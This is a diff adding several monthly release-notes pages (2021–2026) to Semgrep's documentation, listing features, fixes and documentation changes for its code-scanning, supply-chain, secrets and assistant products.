+- Rule syntax table Language extensions and tags has been renamed to [Language extensions and languages key values](/writing-rules/rule-syntax/#language-extensions-and-languages-key-values). The table has also been updated and is now accompanied by an introductory information and admonition.
+- Removed `pattern-where-python` documentation as it was deprecated in Semgrep OSS Engine version 0.61.0.
+- There were also numerous typos fixed, many other docs pages improved, and some screenshots updated. All this is to improve your experience with our docs. Also big thanks to [Parsia Hakimian](https://github.com/parsiya) for helping us to fix some of these typos!
+
diff --git a/mintlify-docs/release-notes/may-2024.mdx b/mintlify-docs/release-notes/may-2024.mdx
new file mode 100644
index 0000000000..3780660e3b
--- /dev/null
+++ b/mintlify-docs/release-notes/may-2024.mdx
@@ -0,0 +1,138 @@
+---
+title: "May 2024"
+description: "May 30, 2024 · 5 min read"
+rss: true
+---
+
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+- **Semgrep managed scanning** is now in public beta. It enables you to scan with Semgrep on any GitHub-hosted repository without the need to change existing CI/CD configurations.
+ - Managed scanning is crucial to organizations with hundreds or thousands of repositories. Read the [ docs](/deployment/managed-scanning/overview) or the [ blog post](https://semgrep.dev/blog/2024/rapidly-deploy-code-scans-with-semgrep-managed-scanning).
+
+### Changed
+
+- Improved the onboarding experience when scanning with Semgrep on a remote repository.
+- **Projects page**: Improved the **Can't find your project?** tooltip with more troubleshooting advice.
+ - The **Sync projects** button has been moved to the **Can't find your project** tooltip.
+- Improved Jira integration and workflow. Jira tickets can now be created for Supply Chain findings, and provide better ticket summaries {/* 14334 */} and descriptions. {/* 14253 */}
+ - The Jira integration is in a private beta. See the [ Jira documentation](/semgrep-appsec-platform/jira) to learn how it works and how to gain access to the beta.
+- **Editor and Playground**: various improvements to structure mode, including the addition of tooltips to aid in rule writing and bug fixes.
+
+## 💻 Semgrep Code
+
+### Added
+
+- **Code search** is now in public beta. Code search allows you to test a Semgrep rule by running it against one or more GitHub repositories or projects instead of just a few lines of test code. Its results highlight all instances of matching code in those target repositories, allowing you to see whether your rule works as intended or not.
+- **Pro findings** filter: when reviewing items on Semgrep AppSec Platform's **Findings** page, the **Pro findings** filter allows you to filter for:
+ - Findings identified using Semgrep Pro rules.
+ - Findings identified as a result of Pro Engine analysis, or interfile and interprocedural analysis.
+
+### Changed
+
+- The sorting criteria used on Semgrep AppSec Platform's **Findings** has been updated to reflect the follow order:
+ 1. Severity
+ 2. Findings generated by custom rules
+ 3. Findings generated by [Pro rules](/semgrep-code/pro-rules)
+ 4. Issue count in descending order
+ 5. Findings ID in ascending order
+
+### Fixed
+
+- When using `semgrep --test --json` to run tests against your rules and obtain the results in JSON format, Semgrep now reports the following issues to the `config_missing_fixtests` field in the JSON output for all rules in a file (not just the first rule):
+ - Rule files containing `fix:` without the corresponding `.fixed` test file.
+ - Rule files using `fix-regex:` without the corresponding `.fixed` test file.
+- Fixed an issue where Dockerfiles lacking a trailing newline character at the end of the file caused a segmentation fault.
+- Fixed an issue with the improper handling of Unicode characters caused Semgrep to crash.
+- Fixed an issue where interfile tainting missed a constant propagation phase, leading to the omission of true positives in some cases during interfile analysis.
+- Fixed an issue where Semgrep ignored YAML tags instead of matching them correctly.
+- Fixed an issue where findings identified in an earlier scan aren't marked as fixed when they no longer appear in later scans.
+- Fixed an issue where patterns flagged as disabled were not disabled when switching from structure mode to advanced mode in the Semgrep Editor.
+- **CLI**:
+ - When outputting Semgrep results in SARIF format, Semgrep now adds the **security** tag when CWE metadata is present in the rule.
+ - Fixed an issue where rules with `metavariable-type` do not show up in the SARIF output.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- Added public Supply Chain APIs. [ Read the documentation](https://semgrep.dev/api/v1/#tag/Finding/operation/semgrep_app.core_exp.findings.handlers.issue.openapi_list_recent_issues).
+- Added [lockfile-only support](/supported-languages/#semgrep-supply-chain) for the **Hex package manager** for Elixir codebases.
+
+### Changed
+
+- The Supply Chain UI has been improved for consistency across Semgrep products. With these changes, users are now able to easily manage SCA, SAST, and secret findings. The Supply Chain UI updates provide the following workflow improvements:
+ - Grouping vulnerabilities by rule
+ - Bulk triaging of findings
+ - Comprehensive filtering
+ - A unified API for findings across Semgrep Code and Semgrep Supply Chain
+- The **Supply Chain > Settings** page has been renamed to **License configuration**.
+
+### Fixed
+
+- **Elixir**: Fixed a bug in the `mix.lock` parser where it failed on a Python `None` error and added a handler for arbitrary exceptions during lockfile processing.
+- Fixed an issue where upgrade-only SCA rules without patterns could not be validated.
+
+## 🤖 Semgrep Assistant
+
+### Changed
+
+- Autofix results older than six months are now re-analyzed and updated.
+- Assistant displays guidance information on how to fix an issue, even if there is no autofix, or code, suggestion present.
+
+### Fixed
+
+- Fixed issue with Assistant license check issue causing rate limiting errors.
+- Fixed an issue where users couldn't toggle on Semgrep Assistant with only GitLab connected as the source code manager.
+- Fixed an issue where findings that had been auto-triaged weren't analyzed, leading to lack of remediation guidance from Semgrep.
+- Fixed an issue where Assistant suggested actions for findings that were ignored.
+
+## 🔐 Semgrep Secrets
+
+### Added
+
+- Added support for AWS validator syntax.
+
+### Changed
+
+- **CLI**: The deprecated `--beta-testing-secrets-enabled` flag is removed. Use `--secrets` instead.
+
+### Fixed
+
+- Fixed an issue where the `--historical-secrets` flag was implemented as an option in the output formats group instead of the Pro options group, sometimes causing scans to fail.
+
+## 📝 Documentation and knowledge base
+
+### Added
+
+- Added the following new documents and sections:
+ - [ Managed scanning](/deployment/managed-scanning/overview)
+ - [ Code Search (beta)](/semgrep-code/editor#code-search-beta)
+- Added a **Last updated** widget to the docs.
+
+### Changed
+
+- Major updates have been made to the following documentation:
+ - [ The docs homepage](/)
+ - [ Jira integration](/semgrep-appsec-platform/jira)
+- Updated how the docs are organized (minor changes).
+- Various documentation presentation updates.
+- Minor documentation updates.
+
+### Fixed
+
+- Fixed an issue where the docs wouldn't display all the tags in the headings. The docs now consistently show tags, if any, at the beginning of the document.
+
+## 🔧 Semgrep OSS Engine
+
+The following versions of Semgrep OSS Engine were released in May 2024:
+
+
+
+
+
+
+
+
diff --git a/mintlify-docs/release-notes/may-2025.mdx b/mintlify-docs/release-notes/may-2025.mdx
new file mode 100644
index 0000000000..1cf9f2c8d6
--- /dev/null
+++ b/mintlify-docs/release-notes/may-2025.mdx
@@ -0,0 +1,128 @@
+---
+title: "May 2025"
+description: "May 30, 2025 · 5 min read"
+rss: true
+---
+
+
+The following updates were made to Semgrep in May 2025.
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+- Semgrep AppSec Platform now displays `OWNERS` information in addition to `CODEOWNERS` information on the Finding Details pages. This information is also available through the Semgrep API.
+- Added the ability to triage a finding directly from **Open** to **Reviewing** on the Finding Details page.
+- **Jira**: added the ability to map to EPSS categories when creating Jira tickets.
+
+### Changed
+
+- Semgrep AppSec Platform now displays distinct login and signup pages.
+- SSO email logins are now case insensitive.
+- Semgrep in CI output now shows per-product links depending on what Semgrep products are enabled for a scan.
+
+### Fixed
+
+- Fixed an issue where **Analyze**, **Ignore**, and **Fix** options were available when the finding had previously been marked as **Fixed** or **Removed**.
+- Fixed an issue where GitHub Enterprise users were incorrectly redirected to GitHub.com repository URLs.
+- **Jira**:
+ - Fixed an issue where Semgrep didn't handle default Jira values correctly, leading to tickets not being created.
+ - Fixed an issue where Jira tickets weren't being created due to a Semgrep Assistant auto-triage lookup error.
+- **CLI**:
+ - Fixed `--help` documentation to reflect that, for `--metrics="auto"`, pseudoanonymous metrics are sent when the user is logged in.
+- Assorted UI fixes, including fixes to incorrect line breaks and typo corrections.
+
+## 💻 Semgrep Code
+
+### Fixed
+
+- Fixed a bug introduced in Semgrep 1.120.0 causing cross-file analyses to run out of memory due to too many parallel jobs. The default setting had been accidentally set to the number of available CPUs which is often too much in cross-file mode. It's now back to `-j1`, which you can override.
+- **CLI**: Fixed a bug where `--disable-nosem` was not sending findings from `nosem`-annotated lines of code to Semgrep AppSec Platform. `--disable-nosem` now correctly sends findings, if any, from `nosem`-annotated lines, to the Platform.
+
+## ⛓️ Semgrep Supply Chain
+
+### Added
+
+- **Java and Kotlin**: Projects can now be scanned without lockfiles through Semgrep Managed Scans.
+- Semgrep can now scan `composer.lock` files for the licenses of PHP dependencies. Through this feature, you can configure Semgrep to block or leave a comment on pull requests or merge requests, depending on the license of the dependency that the PR or MR is adding. This feature is enabled by default and runs on full and diff-aware Supply Chain scans.
+- Policies: Added **No reachability analysis** as a policy condition.
+- Improved handling of `tsconfig.json` in instances where multiple, separately rooted source directories with their own `tsconfig.json` configurations were previously treated as a single project. These directories are now treated as their own TypeScript project, which should result in better name/module resolution.
+- Improved handling of `include`,`exclude` and `files` properties in `tsconfig.json`. Projects that use more than one `tsconfig` file in a given directory, which apply to different sets of files under that directory, should see improvements in name/module resolution.
+- Python: Added support for `uv` package manager.
+
+### Changed
+
+- Scanning without the need for lockfiles is now in **private beta** for select programming languages.
+- Improved the Supply Chain UX in various pages:
+ - If the finding has a function call that proves the finding is reachable, this function call is highlighted in the code in the finding's **Details** page.
+ - Added context in PR comments as to **why** a finding is reachable, under the section **Why this is reachable**. This alerts developers to the impact of a reachable finding.
+ - Improved how filters are presented in the **Supply Chain > Vulnerabilities** page.
+ - Unreachable findings are hidden by default from the findings list.
+- Improved Supply Chain scan output and logging.
+
+### Fixed
+
+- Semgrep now scans large manifests and lockfiles, which were previously ignored due to Semgrep's default file size filtering. This ensures that your lockfiles can be scanned for dependencies and their relationships. This fixes a regression introduced in 1.117.0.
+- Fixed a bug where Supply Chain reachability rules which match multiple dependencies could produce reachable findings on transitive dependencies even when the actually used direct dependency was not vulnerable.
+- Various minor fixes to the Supply Chain UI.
+
+## 🤖 Semgrep Assistant
+
+### Added
+
+- The Assistant Memories feature is now in **public beta**:
+ - Managing memories in Semgrep AppSec Platform now occurs under **Rules & Policies**, not **Settings**.
+ - Semgrep AppSec Platform displays data on the scope and impact of memories, including the number of findings affected and which findings affected
+ - Assistant now provides **suggested memories**, which are those that Assistant has generated based on your past triage actions. You can view these memories at any time in Semgrep AppSec Platform by navigating to **Rules & Policies > Assistant Memories > Suggested**. For each suggestion, you can choose one of the following actions:
+ - Activate the suggested memory to inform Assistant's future advice.
+ - Edit the memory, then activate it.
+ - Delete the memory.
+- Users now see error messages providing specific reasons why a finding can't be analyzed. For example, local scans and scans from projects without code access can't be analyzed.
+
+### Fixed
+
+- Fixed an issue where Assistant's suggested fixes weren't displaying in Semgrep AppSec Platform.
+- Fixed an issue where findings displayed the **Agree and ignore** option for Assistant auto-triage feedback, even when **Agree and ignore** wasn't a valid option, resulting in errors.
+
+## 🔐 Semgrep Secrets
+
+### Changed
+
+- Improved performance of Semgrep Secret scans due to back-end updates.
+
+## 📝 Documentation and knowledge base
+
+
+### Added
+
+- Added the following new documents, articles and sections:
+ - [Glossary for Semgrep Secrets](/semgrep-secrets/glossary)
+ - [Scan for generic secrets](/semgrep-secrets/generic-secrets)
+ - [Supported source code managers](/getting-started/scm-support)
+- Added the following knowledge base articles:
+ - [Why do the findings count differ in the API and the Semgrep AppSec Platform UI?](/kb/semgrep-appsec-platform/findings-count-differ-api-platform)
+- Created dedicated pages for popular programming languages. These pages detail features that Semgrep supports for that language.
+- Minor additions to various documentation.
+
+### Changed
+
+- Updated the header and footer to provide more Semgrep learning materials.
+- Updated instructions on how to add support for a language to Semgrep.
+- Minor updates to various documentation.
+
+
+### Fixed
+
+- Corrected errors in Semgrep CE CI/CD snippets, thank you to [@Nirusu](https://github.com/Nirusu) for the contribution.
+- Corrected wording issues in [Semgrep for developers > How Semgrep works](/for-developers/detection), thank you to [@timmeinerzhagen](https://github.com/timmeinerzhagen) for the contribution.
+
+## 🔧 Semgrep Community Edition (CE)
+
+The following versions of Semgrep CE were released in May 2025:
+
+
+
+
+
+
+
diff --git a/mintlify-docs/release-notes/may-2026.mdx b/mintlify-docs/release-notes/may-2026.mdx
new file mode 100644
index 0000000000..c3cedfbb27
--- /dev/null
+++ b/mintlify-docs/release-notes/may-2026.mdx
@@ -0,0 +1,34 @@
+---
+title: "May 2026"
+description: "May 22, 2026 · 2 min read"
+rss: true
+---
+
+The following updates were made to Semgrep during the week of May 18, 2026.
+
+## 🌐 Semgrep AppSec Platform
+
+### Added
+
+* **Auto-scan new projects**: Semgrep Managed Scans can now automatically scan newly onboarded projects from a source code manager. Enable the **Auto-scan** toggle for each source code manager from **Settings > Source code managers**. See [Scan management and configuration](/deployment/managed-scanning/github).
+
+### Changed
+
+* **PR and MR comments**: A full scan on the default branch is no longer required before Semgrep posts pull or merge request comments. Comments now appear as soon as a project is connected and a diff-aware scan runs. See the [GitHub](/semgrep-appsec-platform/github-pr-comments), [GitLab](/semgrep-appsec-platform/gitlab-mr-comments), [Bitbucket](/semgrep-appsec-platform/bitbucket-cloud-pr-comments), and [Azure DevOps](/semgrep-appsec-platform/azure-pr-comments) PR comments guides.
+* **Read-only code access for GitHub apps**: You can now grant **Read** (instead of **Read and write**) access to the Contents permission on the Semgrep GitHub app if you want code access without granting write permissions. See [Grant code access to Semgrep](/semgrep-appsec-platform/scm-code-access).
+
+## ⛓️ Semgrep Supply Chain
+
+### Changed
+
+* **Faster CVE coverage**: Semgrep now processes new CVE and security advisory information multiple times per day, with a maximum lag of one hour from upstream publication. Semgrep also ingests advisories from [OSV](https://osv.dev/) in addition to GitHub Security Advisories and Electron release notes. For major incidents, Semgrep's Security Research team ships advisories ahead of third-party databases. See the [Supply Chain overview](/semgrep-supply-chain/overview).
+
+## 🛡️ Semgrep Guardian
+
+### Changed
+
+* **Semgrep Plugin is now Semgrep Guardian**. The product previously known as Semgrep Plugin has been renamed to Semgrep Guardian. Functionality is unchanged: Guardian still bundles the Semgrep MCP server, hooks, and skills to scan code generated by AI coding agents in Claude Code, Codex, Cursor, Windsurf, VS Code, and GitHub Copilot. Existing `/mcp` documentation links redirect to [Semgrep Guardian](/guardian).
+
+### Added
+
+* **VS Code and GitHub Copilot support**: The Guardian setup guide now includes dedicated instructions for installing Semgrep Guardian in VS Code (via `.vscode/mcp.json` or the user MCP config) and for GitHub Copilot across Visual Studio, JetBrains, Xcode, and Eclipse. See [Semgrep Guardian](/guardian).
diff --git a/mintlify-docs/release-notes/november-2021.mdx b/mintlify-docs/release-notes/november-2021.mdx
new file mode 100644
index 0000000000..2b6e5c3281
--- /dev/null
+++ b/mintlify-docs/release-notes/november-2021.mdx
@@ -0,0 +1,200 @@
+---
+title: "November 2021"
+description: "November 30, 2021 · 7 min read"
+rss: true
+---
+
+
+## Version 0.75.0
+
+### Fixes
+
+#### Semgrep CI
+
+In Semgrep CI, the option `--disable-nosem` now tags findings with the `is_ignored` option correctly. Previously, an optimization from version 0.74.0 left the field `None` when the described option has been used. The optimization has been reverted.
+
+## Version v0.74.0
+
+### Additions
+
+#### Method chaining
+
+Semgrep now supports method chaining patterns in Python, Go, Ruby, and C#. ([#4300](https://github.com/semgrep/semgrep/issues/4300))
+
+#### Scala
+
+Semgrep now translates infix operations as regular method calls, enabling patterns similar to: `$X.map($F)` to also match code written as `xs map f`. ([#4290](https://github.com/semgrep/semgrep/pull/4290))
+
+#### PHP
+
+Semgrep now supports parsing method patterns. ([#4262](https://github.com/semgrep/semgrep/issues/4262))
+
+### **Changed**
+
+#### Semgrep profiling improved
+
+Semgrep is now more efficiently measuring its performance. The new `profiling_times` object in `--time --json` output enables better visibility of slowly performing Semgrep code.
+
+#### Constant propagation
+
+In constant propagation, Python strings are now evaluated as string literals. You can now match any kind of Python string (raw, byte, or unicode) by the `"..."` operator. ([#3881](https://github.com/semgrep/semgrep/issues/3881))
+
+### Fixes
+
+#### Ruby
+
+Ruby blocks are now represented with an extra function call in Semgrep's generic abstract syntax tree (AST) so that both `f(...)` and `f($X)` correctly match `f(x)` in `f(x) { |n| puts n }`. ([#3880](https://github.com/semgrep/semgrep/issues/3880))
+
+#### Generic filters exclude large and binary files
+
+Generic filters exclude large files and binary files to 'generic' and 'regex' targets as it was already done for the other languages.
+
+#### PHP
+
+An issue with stack overflow when using `-filter_irrelevant_rules` has been fixed. ([#4305](https://github.com/semgrep/semgrep/issues/4305))
+
+#### Dataflow no longer returns false positive results for switch statements
+
+When a `switch` was not followed by another statement, and the last statement of the default case of the `switch` was a statement, such as `throw`, that could exit the execution of the current function. This caused unresolved `break` statements in the `switch` during the construction of the control flow graph (CFG). One of the possible consequences could be that constant propagation incorrectly flagged variables as constants. This issue has now been fixed. ([#4265](https://github.com/semgrep/semgrep/issues/4265))
+
+### Additional information
+
+To view the original release information, see [the changelog of this release on GitHub](https://github.com/semgrep/semgrep/releases/tag/v0.72.0).
+
+## Version 0.73.0
+
+### Additions
+
+#### C++ support improved
+
+With this release, Semgrep has improved the C++ parsing rate from 72.9% to 94.6%. Parsing rate is calculated as the number of lines Semgrep successfully parses in a corpus of popular GitHub repos.
+
+### Fixes
+
+#### Semgrep CI no longer fails scan with binary files
+
+Before this update, Semgrep sometimes reported `Pcre.Error(BadUTF8) error` when it tried to analyze PNG, TTF, EOT or WOFF, zip, tar, and other binary files. As a consequence, scans failed when binary files were present. With this update, the underlying issue has been fixed, and Semgrep skips binary files. ([#4258](https://github.com/semgrep/semgrep/issues/4258))
+
+#### Constant propagation improvements
+
+Previously, Semgrep's constant propagation handled specific corner cases by raising an "impossible" error. Constant propagation now handles corner cases more gracefully instead of raising errors.
+
+### Additional information
+
+To view the original release information, see [the changelog of this release on GitHub](https://github.com/semgrep/semgrep/releases/tag/v0.73.0).
+
+## Version 0.72.0
+
+### Additions
+
+#### Dataflow support enhancements
+
+Semgrep's Dataflow engine now tracks data flow through the following constructs:
+
+- `synchronize` (Java) and `lock` (C#) blocks. ([#4150](https://github.com/semgrep/semgrep/issues/4150))
+- `await` and `yield` expressions (for example JavaScript and Python).
+- `&` expression (for example C, C++, and Go).
+- Other language constructs are represented by `OtherExpr` in the Generic Abstract Syntax Tree (AST).
+
+#### JavaScript enhancements
+
+- Field-definition-as-assignment equivalence allows matching expression patterns against field definitions. This functionality is disabled by default. Enable it with the following rule option: `flddef_assign: true` ([#4187](https://github.com/semgrep/semgrep/issues/4187))
+- Arrows (short lambdas) patterns used to match also regular function definitions. This can now be disabled with rule options: `arrow_is_function: false` ([#4187](https://github.com/semgrep/semgrep/issues/4187))
+- When a pattern contains the `var` keyword to match variable declarations, Semgrep also matches variables declared with `let` or `const`. With this update, you can disable the described functionality by the rule options: `let_is_var: false`. This rule allows you to scan for `var` keywords while not matching `let` or `const`.
+
+### Fixes
+
+#### Constant propagation improvement
+
+Constant propagation now allows to recognize patterns such as the following for a method call:
+
+```
+x.f(y)
+```
+
+If `x` is a constant, it is correctly recognized.
+
+#### Go improvements
+
+This update includes various enhancements for the Go language. Semgrep is now able to:
+
+- Correctly replace braces in composite literals for autofix.
+- Correctly replace parenthesis in cast for autofix.
+- Parse ellipsis in return type parameters.
+
+#### Scala improvements
+
+Parsing of Scala is improved with this update, because Semgrep is now able to parse:
+
+- Case object within blocks.
+- Typed patterns with variables that begin with an underscore: `case _x : Int => …`
+- Unicode identifiers.
+- Nullary constructors with no arguments in more positions.
+- The `infix` type operators with tuple arguments.
+- Nested comments.
+- Case class within blocks.
+
+#### Semgrep's pattern-regex now accepts unicode
+
+Semgrep's pattern-regex now supports hexadecimal notation of Unicode code points and assumes UTF-8. For more information, see [Semgrep documentation](/writing-rules/rule-syntax/#pattern-regex). ([#4240](https://github.com/semgrep/semgrep/pull/4240))
+
+#### Additional fixes and improvements in this version
+
+Some of the new fixes with this version include the following:
+
+- The semgrep-core accepts `sh` as an alias for Bash.
+- Semgrep's metavariable-comparison is now able to detect when a metavariable binds to a code variable that is a constant, and use the constant value in the comparison. ([#3727](https://github.com/semgrep/semgrep/issues/3727))
+- Expand `~` when resolving config paths.
+
+### Changes
+
+#### C support
+
+C support is now generally available.
+
+#### Command line interface (CLI) changes
+
+When the semgrep-core results in a segmentation fault, Semgrep now only suggests increasing stack size.
+
+Semgrep's CLI output no longer displays severity levels.
+
+#### Scanning for executable scripts with shebang
+
+Previously, Semgrep only scanned files that matched a file extension for the language that was scanned. Scripting languages are often written extensionless with the script interpreter in a shebang. Now, Semgrep scans executable scripts in which shebang interpreter directives match the language of the rule. ([#3986](https://github.com/semgrep/semgrep/pull/3986))
+
+### Additional information
+
+To view the original release information, see [the changelog of this release on GitHub](https://github.com/semgrep/semgrep/releases/tag/v0.72.0).
+
+## Version 0.71.0
+
+### Additions
+
+- In taint mode, you can now write rules that use the same metavariable in sources, sanitizers, and sinks. In addition, these metavariables correctly appear in matched messages. ([#4073](https://github.com/semgrep/semgrep/pull/4073))
+- Experimental support for Bash as a new target language.
+- Experimental support for C++ as a new target language.
+- Increase soft stack limit when running semgrep-core. ([#4120](https://github.com/semgrep/semgrep/pull/4120))
+- Semgrep `--validate` runs metachecks on the rule. ([#4170](https://github.com/semgrep/semgrep/pull/4170))
+
+### Fixes
+
+- The `text_wrapping` defaults to `MAX_TEXT_WIDTH` if `get_terminal_size` reports width smaller than 1. ([#4110](https://github.com/semgrep/semgrep/pull/4110))
+- Metrics report the error type of semgrep core errors (for example Timeout, and MaxMemory). ([#4156](https://github.com/semgrep/semgrep/pull/4156))
+- Missing or misformatted global settings files are no longer crashing Semgrep. ([#4164](https://github.com/semgrep/semgrep/pull/4164))
+- Constant propagation: Previously an assignment as `[x,y] = f()` was not counted as an assignment to `x` or `y` by constant propagation. Now these types of assignments are recognized by both basic and dataflow based constant propagations. As a result, tuple, or array destructuring assignments now correctly prevent constant propagation. ([#4109](https://github.com/semgrep/semgrep/pull/4109))
+- JS: Semgrep now correctly parses metavariables in template strings. ([#4139](https://github.com/semgrep/semgrep/pull/4139))
+- Scala: Semgrep now parses underscore separators in number literals. In addition, Semgrep now parses long suffixes (`l` and `L`) on number literals. ([#4155](https://github.com/semgrep/semgrep/pull/4155))
+- Scala: Semgrep parses name arguments in arbitrary function types, for example `(=> Int) => Int`. ([#4178](https://github.com/semgrep/semgrep/pull/4178))
+- Bash: Various fixes and improvements.
+- Kotlin: Ellipsis operator in class and body parameters are now supported. ([#4141](https://github.com/semgrep/semgrep/issues/4141))
+- Go: Method interface pattern is now supported. ([#4172](https://github.com/semgrep/semgrep/issues/4172))
+
+### Changes
+
+- Report CI environment variable in metrics for better environment determination. ([#4108](https://github.com/semgrep/semgrep/pull/4108))
+- Bash: A simple expression pattern can now match any command argument rather than having to match the whole command.
+
+### Additional information
+
+To view the original release information, see [the changelog of this release on GitHub](https://github.com/semgrep/semgrep/releases/tag/v0.71.0).
+
diff --git a/mintlify-docs/release-notes/november-2022.mdx b/mintlify-docs/release-notes/november-2022.mdx
new file mode 100644
index 0000000000..8e5dea46f1
--- /dev/null
+++ b/mintlify-docs/release-notes/november-2022.mdx
@@ -0,0 +1,96 @@
+---
+title: "November 2022"
+description: "November 30, 2022 · 4 min read"
+rss: true
+---
+
+
+## Semgrep Supply Chain
+
+### Additions
+
+- Added Supply Chain support for `requirements.txt` lockfiles (requires `requirement.in` manifest files).
+- Added support for Yarn 2 and Yarn 3 lockfiles.
+
+### Changes
+
+- Reachable Supply Chain findings no longer block pull requests when using `semgrep ci`. **NOTE**: Unreachable findings are non-blocking already.
+- Previously, Semgrep Supply Chain re-scanned projects automatically every week. Now, newly added projects to Semgrep Supply Chain that use GitHub Actions are by default re-scanned every day. This update only affects newly added projects.
+
+## Semgrep App
+
+### Additions
+
+- When you triage a finding, Semgrep App now displays a form that asks whether the finding was a **False positive**, **Acceptable risk**, or you had **No time to fix**. For more information, see [Managing finding status](/semgrep-code/triage-remediation/#triage-statuses).
+- When ignoring an individual finding, you can now ignore similar future findings by selecting one of the following options: **Just this file**, **This directory**, or **Parent directory**. These options specify which files and directories Semgrep App ignores. In addition, you can now remove a rule when you triage a single finding without having to go to the Rule board. To ignore a rule while triaging a finding, enable the **Remove this rule from Rule board** when triaging an individual finding. See [Ignoring individual findings](/semgrep-code/triage-remediation/#ignore-findings).
+
+### Changes
+
+- The toggle to enable **Autofix** functionality has been moved from the project settings page to the global organization [Settings](https://semgrep.dev/orgs/-/settings) page.
+- Previously, Semgrep App re-scanned projects automatically every week. Now, newly added projects to Semgrep App that use GitHub Actions are by default re-scanned every day. This update only affects newly added projects.
+- Many bug fixes and performance improvements were introduced to make your experience with Semgrep App much more pleasant.
+
+## Semgrep CLI
+
+These release notes include upgrades for versions ranging between 0.120.0 and 0.123.0. Version 0.119.0 of Semgrep was intentionally skipped. Version 0.120.0 immediately follows version 0.118.0.
+
+### Additions
+
+- DeepSemgrep: Added installation path for DeepSemgrep on M1 machines.
+- Fail gracefully and print an error message when running in unsupported Linux aarch64 or arm64 environment.
+
+### Changes
+
+- taint-mode: Semgrep’s taint analysis now provides basic field sensitivity support. See [Field sensitivity](/writing-rules/data-flow/taint-mode/advanced#taint-mode-sensitivity) section for more details.
+
+## Semgrep in CI
+
+### Changes
+
+- Previously, Semgrep overrode user-defined environment variables with values it detected from the CI provider. Now, user-defined environment variables take precedence (override) Semgrep's detected values. By enabling you to override CI variables, you are able to troubleshoot issues such as hyperlinks to code in the Findings page and receiving comments in pull requests or merge requests.
+ - This change affects the following CI providers:
+ - Buildkite
+ - CircleCI
+ - This change affects the following variables:
+ - SEMGREP_REPO_NAME
+ - SEMGREP_REPO_URL
+ - SEMGREP_BRANCH
+ - SEMGREP_JOB_URL
+ - SEMGREP_COMMIT
+
+ **NOTE**: Previous month, this update already affected Azure Pipelines, Bitbucket Pipelines, Jenkins, and Travis CI.
+
+## Documentation updates
+
+### Additions
+
+#### General documentation additions
+
+- The [Contributing rules](/contributing/contributing-to-semgrep-rules-repository) documentation now provides sections with [General rule requirements](/contributing/contributing-to-semgrep-rules-repository#general-rule-requirements), [Semgrep registry rule requirements](/contributing/contributing-to-semgrep-rules-repository#semgrep-registry-rule-requirements), and [Including fields required by security category](/contributing/contributing-to-semgrep-rules-repository#fields-required-by-the-security-category).
+- You may now also log in to Semgrep App from the documentation website. The **Login** button is available next to the docs search bar.
+
+#### Semgrep App
+
+- The [Tagging projects](/semgrep-appsec-platform/tags) document explains how to use tags in projects added to Semgrep App.
+
+#### Semgrep CLI
+
+- The [Experiments](/writing-rules/experiments/introduction) category now provides an introduction, in addition, the [Deprecated experiments](/writing-rules/experiments/deprecated-experiments) section is now an independent document.
+- Added [Field sensitivity](/writing-rules/data-flow/taint-mode/advanced#taint-mode-sensitivity) section to taint analysis documentation.
+
+### Changes
+
+- The following CI documents have been updated to reflect the latest environment variable:
+ - [Running Semgrep in continuous integration (CI) with Semgrep App](/deployment/core-deployment)
+ - [Running Semgrep in continuous integration (CI) without Semgrep App](/deployment/oss-deployment)
+ - [Sample continuous integration (CI) configurations](/semgrep-ci/sample-ci-configs)
+- Updated [Usage and billing](/usage-and-billing/overview) page. [Semgrep Supply Chain supported languages](/supported-languages/#semgrep-supply-chain) are now part of Pricing and billing document.
+- The `SEMGREP_TIMEOUT ` information has been updated. See [`SEMGREP_TIMEOUT`](/semgrep-ci/ci-environment-variables#semgrep_timeout) documentation for more details.
+- Collapsible items in the documentation sidebar now take you to overview pages for a given category or lead to introductory pages. Overview pages also provide an updated description for displayed cards that represent individual documents. For example: [Semgrep command-line interface (CLI)](/getting-started/cli), [Semgrep in continuous integration (CI)](/deployment/add-semgrep-to-ci), [Data-flow analysis engine overview](/writing-rules/data-flow/data-flow-overview)
+- Release notes that you are now reading have been split into one document for each month the Release notes category now has its own dedicated right sidebar. This change makes it easier to find changes that happened over the span of a month.
+- The [Experiments](/writing-rules/experiments/introduction) category now falls under **Writing custom rules** section on our left navigation.
+- Updated [Managing findings in Semgrep App](/semgrep-code/findings) document, especially [Managing finding status](/semgrep-code/triage-remediation/#manage-findings) section to inform about the latest triage workflow updates.
+- Updated information about enabling the autofix feature in various occurrences in our docs. For example: [Enabling autofix in Semgrep App](/writing-rules/testing-rules/#enabling-autofix-in-semgrep-code)
+- Updated [Defining ignored files and folders in Semgrep App](/writing-rules/testing-rules/#enabling-autofix-in-semgrep-code) to inform about how you can ignore files from the Findings page of Semgrep App.
+- Many fixed links, typos, and other necessary improvements for great docs experience.
+
diff --git a/mintlify-docs/release-notes/november-2023.mdx b/mintlify-docs/release-notes/november-2023.mdx
new file mode 100644
index 0000000000..34330eaebe
--- /dev/null
+++ b/mintlify-docs/release-notes/november-2023.mdx
@@ -0,0 +1,135 @@
+---
+title: "November 2023"
+description: "November 30, 2023 · 5 min read"
+rss: true
+---
+
+
+
+**TIP**
+
+- **Semgrep Pro Engine** is now generally available (GA). Team tier users and above can use the Pro Engine to perform **cross-file (interfile)** and **cross-function (intrafile)** analyses. To enable Semgrep Pro Engine:
+ 1. Sign in to [ Semgrep Cloud Platform](https://semgrep.dev/login)
+ 1. Click **Settings**.
+ 1. Click the ** Semgrep Pro Engine** toggle.
+- See [ Semgrep Pro Engine](/semgrep-code/semgrep-pro-engine-intro) documentation for more information.
+- The Semgrep command-line tool now requires **Python 3.8** or later.
+
+## 🔧 Semgrep OSS Engine
+
+
+**NOTE**
+
+Beginning with version 1.46.0, Semgrep is first released to:
+- `pypy`
+- `brew`
+- `semgrep/semgrep:canary` (Docker)
+
+If no issues are detected after a few days, the Semgrep team then promotes the `:canary` Docker tag to `:latest`.
+
+- The following versions of Semgrep OSS Engine were released in November 2023:
+
+
+
+
+
+
+
+
+
+
+## 🌐 Semgrep Cloud Platform
+
+### Added
+
+- Semgrep now records the languages using interfile analysis during a scan. This enables the Semgrep team to measure new Pro Engine languages' performance impact and error rates. **For scans that don't send metrics, there is no change.** See [ Semgrep Privacy Policy](https://github.com/semgrep/semgrep/blob/develop/PRIVACY.md) for more information.
+- Added a link to the SSO documentation to help users set up SSO. {/* 11485 */}
